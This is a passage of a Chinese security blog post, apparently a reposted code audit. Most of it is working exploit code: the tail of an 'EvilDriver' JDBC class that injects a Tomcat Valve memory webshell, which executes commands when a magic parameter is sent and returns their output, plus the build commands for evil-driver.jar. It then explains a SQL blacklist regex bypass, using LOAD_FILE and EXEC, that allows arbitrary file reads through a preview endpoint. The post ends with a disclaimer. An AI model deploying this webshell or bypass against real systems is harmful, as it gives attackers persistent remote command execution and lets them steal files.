&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;p.waitFor();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 写入响应
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodgetWriter=response.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("getWriter");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Objectwriter=getWriter.invoke(response);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Methodwrite=writer.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("write",&nbsp;String.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;write.invoke(writer,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newString(baos.toByteArray()));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Methodflush=writer.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("flush");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;flush.invoke(writer);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull; &nbsp;// 不继续传递请求
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exceptione) {}

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 无 magic 参数 → 正常传递给下一个 Valve
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(next!=null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodinvokeNext=next.getClass().getMethod(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"invoke",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;request.getClass().getInterfaces()[0],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;response.getClass().getInterfaces()[0]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;invokeNext.invoke(next,&nbsp;request,&nbsp;response);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Valve 接口的其他方法
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("getNext".equals(methodName))&nbsp;returnnext;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("setNext".equals(methodName)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;next=args[0];&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("backgroundProcess".equals(methodName))&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("isAsyncSupported".equals(methodName))&nbsp;returntrue;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("getContainer".equals(methodName))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnstandardContext;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("setContainer".equals(methodName))&nbsp;returnnull;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; );

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 注入到 Pipeline
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MethodaddValve=pipeline.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("addValve",&nbsp;valveClass);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;addValve.invoke(pipeline,&nbsp;valve);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// --- JDBC Driver 接口空实现 ---
&nbsp; &nbsp;&nbsp;publicConnectionconnect(Stringurl,&nbsp;Propertiesinfo) {&nbsp;returnnull; }
&nbsp; &nbsp;&nbsp;publicbooleanacceptsURL(Stringurl) {&nbsp;returntrue; }
&nbsp; &nbsp;&nbsp;publicDriverPropertyInfo[]&nbsp;getPropertyInfo(Stringurl,&nbsp;Propertiesinfo) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnewDriverPropertyInfo[0];
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;publicintgetMajorVersion() {&nbsp;return1; }
&nbsp; &nbsp;&nbsp;publicintgetMinorVersion() {&nbsp;return0; }
&nbsp; &nbsp;&nbsp;publicbooleanjdbcCompliant() {&nbsp;returnfalse; }
&nbsp; &nbsp;&nbsp;publicLoggergetParentLogger() {&nbsp;returnnull; }
}

编译打包

javac-encodingUTF-8-source8-target8-d.EvilDriver.java
jarcfevil-driver.jarevil/EvilDriver.classevil/EvilDriver$1.class

效果如下

2.SQL语句黑名单绕过任意文件读取

/dataSet/preview/SQL接口,能执行SQL命令

@RequestMapping(value="/preview/"+DataSetEntity.DATA_SET_TYPE_SQL,&nbsp;produces=CONTENT_TYPE_JSON)
@ResponseBody
publicTemplateResolvedDataSetResultpreviewSql(HttpServletRequestrequest,&nbsp;HttpServletResponseresponse,
&nbsp; &nbsp; &nbsp; &nbsp;ModelspringModel,&nbsp;@RequestBodySqlDataSetPreviewpreview)&nbsp;throwsThrowable
{
&nbsp; &nbsp;&nbsp;Useruser=getCurrentUser();
&nbsp; &nbsp;&nbsp;SqlDataSetEntityentity=preview.getDataSet();

&nbsp; &nbsp;&nbsp;if(isEmpty(entity))
&nbsp; &nbsp; &nbsp; &nbsp;thrownewIllegalInputException();

&nbsp; &nbsp;&nbsp;inflateSaveEntity(request,&nbsp;entity);
&nbsp; &nbsp;&nbsp;trimSqlDataSetEntity(entity);

&nbsp; &nbsp;&nbsp;// 添加时
&nbsp; &nbsp;&nbsp;if&nbsp;(StringUtil.isEmpty(entity.getId()))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;inflateSaveAddBaseInfo(request,&nbsp;user,&nbsp;entity);
&nbsp; &nbsp; &nbsp; &nbsp;checkSaveSqlDataSetEntity(request,&nbsp;user,&nbsp;entity,&nbsp;null);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 查看时
&nbsp; &nbsp;&nbsp;elseif&nbsp;(preview.isView())
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;entity=&nbsp;(SqlDataSetEntity)&nbsp;getByIdForView(getDataSetEntityService(),&nbsp;user,&nbsp;entity.getId());
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 编辑时
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;Stringid=entity.getId();

&nbsp; &nbsp; &nbsp; &nbsp;checkSaveSqlDataSetEntity(request,&nbsp;user,&nbsp;entity,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;newOnceSupplier<>(()&nbsp;->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(SqlDataSetEntity)&nbsp;getByIdForEdit(getDataSetEntityService(),&nbsp;user,&nbsp;id);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}));
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;DtbsSourceConnectionFactoryconnFactory=entity.getDtbsCnFty();
&nbsp; &nbsp;&nbsp;DtbsSourcedtbsSource=&nbsp;(connFactory==null?null&nbsp;:&nbsp;connFactory.getDtbsSource());
&nbsp; &nbsp;&nbsp;StringdtbsSourceId=&nbsp;(dtbsSource==null?null&nbsp;:&nbsp;dtbsSource.getId());

&nbsp; &nbsp;&nbsp;if&nbsp;(StringUtil.isEmpty(dtbsSourceId))
&nbsp; &nbsp; &nbsp; &nbsp;thrownewIllegalInputException();

&nbsp; &nbsp;&nbsp;dtbsSource=getDtbsSourceNotNull(dtbsSourceId);

&nbsp; &nbsp;&nbsp;DtbsSourceConnectionFactoryconnectionFactory=newDtbsSourceConnectionFactory(getConnectionSource(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dtbsSource);
&nbsp; &nbsp;&nbsp;entity.setConnectionFactory(connectionFactory);
&nbsp; &nbsp;&nbsp;entity.setSqlValidator(this.dataSetEntityService.buildSqlValidator(entity));

&nbsp; &nbsp;&nbsp;DataSetQueryquery=convertDataSetQuery(request,&nbsp;response,&nbsp;preview.getQuery(),&nbsp;entity);
&nbsp; &nbsp;&nbsp;returndoPreviewSql(entity,&nbsp;query);
}
  • “` 最核心的正则,

    生成的正则为 ([^_\w]|^)(LOAD)([^_\w]|$),要求关键字前后不能是 _ 或字母数字。这导致 LOAD_FILE() 中 LOAD 后紧跟 _ 而绕过检测。同理 EXEC() 可绕过 EXECUTE 的拦截。


publicstaticPatterntoKeywordPattern(String… keywords) {     StringBuildersb=newStringBuilder();

    sb.append(“([^\_\w]|^)”);     sb.append(“(“);

    for (inti=0; i0)           sb.append(‘|’);

       sb.append(“(“+Pattern.quote(keywords[i]) +”)”);     }

    sb.append(“)”);     sb.append(“([^\_\w]|$)”);

    returncompileToSqlValidatorPattern(sb.toString()); } “`

利用方式:

可直接进行文件读取,然后base64解码即可得到明文。

不知道我这个没天赋的菜鸡,能在网络安全这条都是天才的路上走多远。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:中二sec 一寸灰 一寸灰《一次比赛坐牢造成的代码审计》

评论:0   参与:  0